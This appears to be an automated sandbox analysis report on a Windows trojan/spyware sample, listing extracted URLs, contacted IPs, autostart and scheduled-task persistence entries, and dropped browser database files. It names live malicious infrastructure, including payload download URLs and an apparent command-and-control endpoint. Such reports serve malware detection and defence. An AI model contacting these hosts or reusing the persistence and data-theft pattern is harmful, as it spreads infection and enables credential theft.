https://support.mozilla.org/kb/fix-video-audio-problems-firefox-windowsThe	firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	false
https://addons.mozilla.org/%LOCALE%/%APP%/blocked-addon/%addonID%/%addonVersion%/	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://www.google.com/policies/privacy/2	firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	false
http://185.215.113.206/68b591d6548ec281/msvcp140.dllp	file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	false
http://win.mail.ru/cgi-bin/sentmsg?mailto=%s	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	false
https://www.ecosia.org/newtab/	file.exe, 00000000.00000003.2339084293.00000000016AA000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939393604.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939893800.00000000054F7000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.2939236629.00000000054F9000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.com/	firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	false
https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/recordsmr	firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	false
https://www.bbc.co.uk/	firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	false
https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=	firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	false
https://searchfox.org/mozilla-central/source/toolkit/components/search/SearchUtils.jsm#145-152	firefox.exe, 0000002E.00000002.3241937730.0000021BF8703000.00000004.00000800.00020000.00000000.sdmp	false
https://bugzilla.mo	firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3102708132.0000021BFC4E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3277001134.0000021BFC4E9000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD497000.00000004.00000800.00020000.00000000.sdmp	false
https://cook-rain.sbs:443/api	ea2bf34af0.exe, 0000001D.00000003.3001374850.0000000000DCB000.00000004.00000020.00020000.00000000.sdmp	false
https://mitmdetection.services.mozilla.com/	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://static.adsafeprotected.com/firefox-etp-js	firefox.exe, 0000002E.00000002.3239382308.0000021BF7AFC000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD269000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3320546777.0000021BFD1B9000.00000004.00000800.00020000.00000000.sdmp	false
https://firefox.settings.services.mozilla.com/v1i#	firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	false
http://185.215.113.16/off/def.exe	ea2bf34af0.exe, 0000001D.00000002.3296058737.0000000000D8E000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216496442.00000000054B2000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216719396.0000000000DBD000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3217473238.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3246606362.00000000054B9000.00000004.00000800.00020000.00000000.sdmp, ea2bf34af0.exe, 0000001D.00000003.3216988253.0000000000DA1000.00000004.00000020.00020000.00000000.sdmp	false
https://spocs.getpocket.com/	firefox.exe, 0000002E.00000002.3272696566.0000021BFC0F3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3243491078.0000021BF8806000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3233192391.0000021BF6C43000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3101642076.0000021C03653000.00000004.00000800.00020000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://www.iqiyi.com/	firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	false
http://fb.me/use-check-prop-typesG	firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	false
http://html4/loose.dtd	c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php_	215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://fb.me/react-polyfillsP	firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	false
https://poczta.interia.pl/mh/?mailto=%spdfjs.previousHandler.preferredActionpdfjs.previousHandler.al	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	false
https://bugzilla.mozilla.org/show_bug.cgi?id=1584464	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	false
https://fb.me/react-polyfillsO	firefox.exe, 0000002E.00000002.3240235064.0000021BF7B00000.00000002.00000001.00040000.00000017.sdmp	false
http://185.215.113.206/c4becf79229cb002.php/u	215a689fd9.exe, 0000001E.00000002.2987335924.000000000122E000.00000004.00000020.00020000.00000000.sdmp	false
https://yandex.com	firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	false
https://static.adsafeprotected.com/firefox-etp-jsresource://gre/modules/ExtensionTelemetry.sys.mjs	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	false
https://monitor.firefox.com/about	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.phpu	file.exe, 00000000.00000002.2620717305.0000000001639000.00000004.00000020.00020000.00000000.sdmp	false
https://login.microsoftonline.com	firefox.exe, 0000002E.00000002.3316090573.0000021BFCF29000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	false
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	false
https://www.zhihu.com/	firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.c.lencr.org/0	ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	false
http://x1.i.lencr.org/0	ea2bf34af0.exe, 0000001D.00000003.2981673895.0000000005556000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3326900532.0000021BFD411000.00000004.00000800.00020000.00000000.sdmp	false
https://screenshots.firefox.combrowser.handlers.migrationshttps://monitor.firefox.comhttps://addons.	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	false
https://mozilla-hub.atlassian.net/browse/SDK-405	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A03000.00000004.00000800.00020000.00000000.sdmp	false
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 0000002E.00000003.3109677092.0000021C03C70000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/products/firefoxgro.all	ea2bf34af0.exe, 0000001D.00000003.2985939124.00000000055DC000.00000004.00000800.00020000.00000000.sdmp	false
http://.jpg	c6782cb97e.exe, 0000001C.00000003.2845062440.0000000007B72000.00000004.00001000.00020000.00000000.sdmp	false
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A72000.00000004.00000800.00020000.00000000.sdmp	false
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000002E.00000002.3326900532.0000021BFD41A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3123211590.0000021BFEF9D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	false
https://www.amazon.co.uk/	firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp	false
https://monitor.firefox.com/user/preferences	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://screenshots.firefox.com/	firefox.exe, 0000002E.00000002.3268191781.0000021BFB770000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000002E.00000002.3324044992.0000021BFD215000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3044325628.0000021BFB40F000.00000004.00000800.00020000.00000000.sdmp	false
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000002E.00000002.3239382308.0000021BF7A24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000002.3240509854.0000021BF7D00000.00000002.00000001.00040000.00000018.sdmp	false
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp	false
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000002E.00000002.3256957836.0000021BF9900000.00000002.08000000.00040000.00000000.sdmp	false
https://www.wykop.pl/	firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	false
https://vk.com/	firefox.exe, 0000002E.00000002.3239382308.0000021BF7ADF000.00000004.00000800.00020000.00000000.sdmp	false
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	false
https://www.olx.pl/	firefox.exe, 0000002E.00000002.3243491078.0000021BF8840000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000002E.00000003.3119101392.0000021C03B40000.00000004.00000800.00020000.00000000.sdmp	false
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	false
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	false
http://185.215.113.206/c4becf79229cb002.php/L	215a689fd9.exe, 0000001E.00000002.2987335924.0000000001286000.00000004.00000020.00020000.00000000.sdmp	false
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000002E.00000002.3312773328.0000021BFCC90000.00000002.08000000.00040000.00000000.sdmp	false
http://mozilla.org/#/properties/enableBookmarksToolbar	firefox.exe, 0000002E.00000002.3324044992.0000021BFD285000.00000004.00000800.00020000.00000000.sdmp	false

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
216.58.212.142	youtube.com	United States	15169	GOOGLEUS	false
23.198.7.166	unknown	United States	20940	AKAMAI-ASN1EU	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
20.50.80.209	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
108.156.211.19	unknown	United States	16509	AMAZON-02US	false
62.76.234.151	fvtejj5vs.top	Russian Federation	50113	SUPERSERVERSDATACENTERRU	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.75.60.91	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
142.250.184.238	plus.l.google.com	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false
142.250.186.174	play.google.com	United States	15169	GOOGLEUS	false
23.198.7.187	unknown	United States	20940	AKAMAI-ASN1EU	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
23.47.50.150	unknown	United States	16625	AKAMAI-ASUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.198.7.229	unknown	United States	20940	AKAMAI-ASN1EU	false
31.41.244.11	unknown	Russian Federation	61974	AEROEXPRESS-ASRU	false
142.250.186.161	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
188.114.96.3	cook-rain.sbs	European Union	13335	CLOUDFLARENETUS	true
142.250.186.164	www.google.com	United States	15169	GOOGLEUS	false
23.192.223.230	unknown	United States	16625	AKAMAI-ASUS	false
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.8
192.168.2.7
192.168.2.6
127.0.0.1
192.168.2.23

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557340
Start date and time:	2024-11-18 04:40:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 20m 24s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	49
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@116/295@120/37
EGA Information:	Successful, ratio: 25%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.131, 216.58.206.46, 66.102.1.84, 34.104.35.123, 172.217.16.195, 142.250.74.202, 142.250.181.234, 172.217.16.138, 142.250.186.42, 142.250.185.138, 142.250.186.74, 142.250.186.106, 142.250.185.202, 172.217.18.10, 142.250.185.106, 142.250.184.202, 142.250.186.170, 142.250.185.234, 142.250.185.170, 172.217.18.106, 216.58.206.42, 192.229.221.95, 172.217.23.106, 172.217.16.202, 142.250.186.138, 142.250.184.234, 216.58.206.74, 142.250.185.74, 2.22.50.131, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.184.206, 13.107.6.158, 172.205.25.163, 2.19.126.145, 2.19.126.152, 88.221.110.195, 88.221.110.179, 2.23.209.149, 2.23.209.179, 2.23.209.182, 2.23.209.189, 2.23.209.187, 2.23.209.133, 2.23.209.130, 2.23.209.52, 2.23.209.51, 2.23.209.33, 2.23.209.13, 2.23.209.45, 2.23.209.20, 2.23.209.28, 2.23.209.48, 2.23.209.23, 13.74.129.1, 13.107.21.237, 204.79.197.237, 2.19.96.107, 2.19.96.128, 4.231.66.184, 72.21.81.200, 184.28.89.167, 74.125.206.84, 172.21
Excluded domains from analysis (whitelisted): img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, aus5.mozilla.org, a19.dscg10.akamai.net, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, firefox.settings.services.mozilla.com, learn.microsoft.com.edgekey.net, www.youtube.com, prod-agic-ne-9.northeurope.cloudapp.azure.com, normandy-cdn.services.mozilla.com, www.bing.com, shavar.prod.mozaws.net, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, prod-atm-wds-edge.trafficmanager.net, dyna.wikimedia.org, normandy.cdn.mozilla.net, youtube-ui.l.google.com, reddit.map.fastly.net, edgedl.me.gvt1.com, c.bing.com, clients.l.google.com, www.reddit.com, prod-agic-we-4.westeurope.cloudapp.azure.com, go.microsoft.com, www.bing.com.edgekey.net, push.services.mozilla.com, safebrowsing.googleapis.com, optimizationguide-pa.googleapis.com, twitter.com, accounts.google.com, bzi
Execution Graph export aborted for target DocumentsIJKFHDBKFC.exe, PID 8920 because it is empty
Execution Graph export aborted for target skotes.exe, PID 7692 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 9084 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:41:49	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
04:42:23	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run ea2bf34af0.exe C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe
04:42:31	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 215a689fd9.exe C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe
04:42:40	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 54e727f733.exe C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe
04:42:49	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e4e71e967a.exe C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe
04:42:58	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run ea2bf34af0.exe C:\Users\user\AppData\Local\Temp\1007060001\ea2bf34af0.exe
04:43:08	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 215a689fd9.exe C:\Users\user\AppData\Local\Temp\1007061001\215a689fd9.exe
04:43:17	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 54e727f733.exe C:\Users\user\AppData\Local\Temp\1007062001\54e727f733.exe
04:43:25	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e4e71e967a.exe C:\Users\user\AppData\Local\Temp\1007063001\e4e71e967a.exe
04:44:24	Task Scheduler	Run new task: ServiceData4 path: C:\Users\user\AppData\Local\Temp\/service123.exe
22:41:35	API Interceptor	53x Sleep call for process: file.exe modified
22:42:01	API Interceptor	17793665x Sleep call for process: skotes.exe modified
22:42:21	API Interceptor	65x Sleep call for process: ea2bf34af0.exe modified
22:42:44	API Interceptor	1569447x Sleep call for process: c6782cb97e.exe modified

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EBGIDGCAFCBKECAAKJJK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\FBFCFIEBKEGHIDGCAFBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAKFCGCGIEGDGCAAKKJJJJDHJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIECBFIDGDAKFHIEHJKFHDHDBG

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFCFIEHCFIECBGCBFHIJ

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
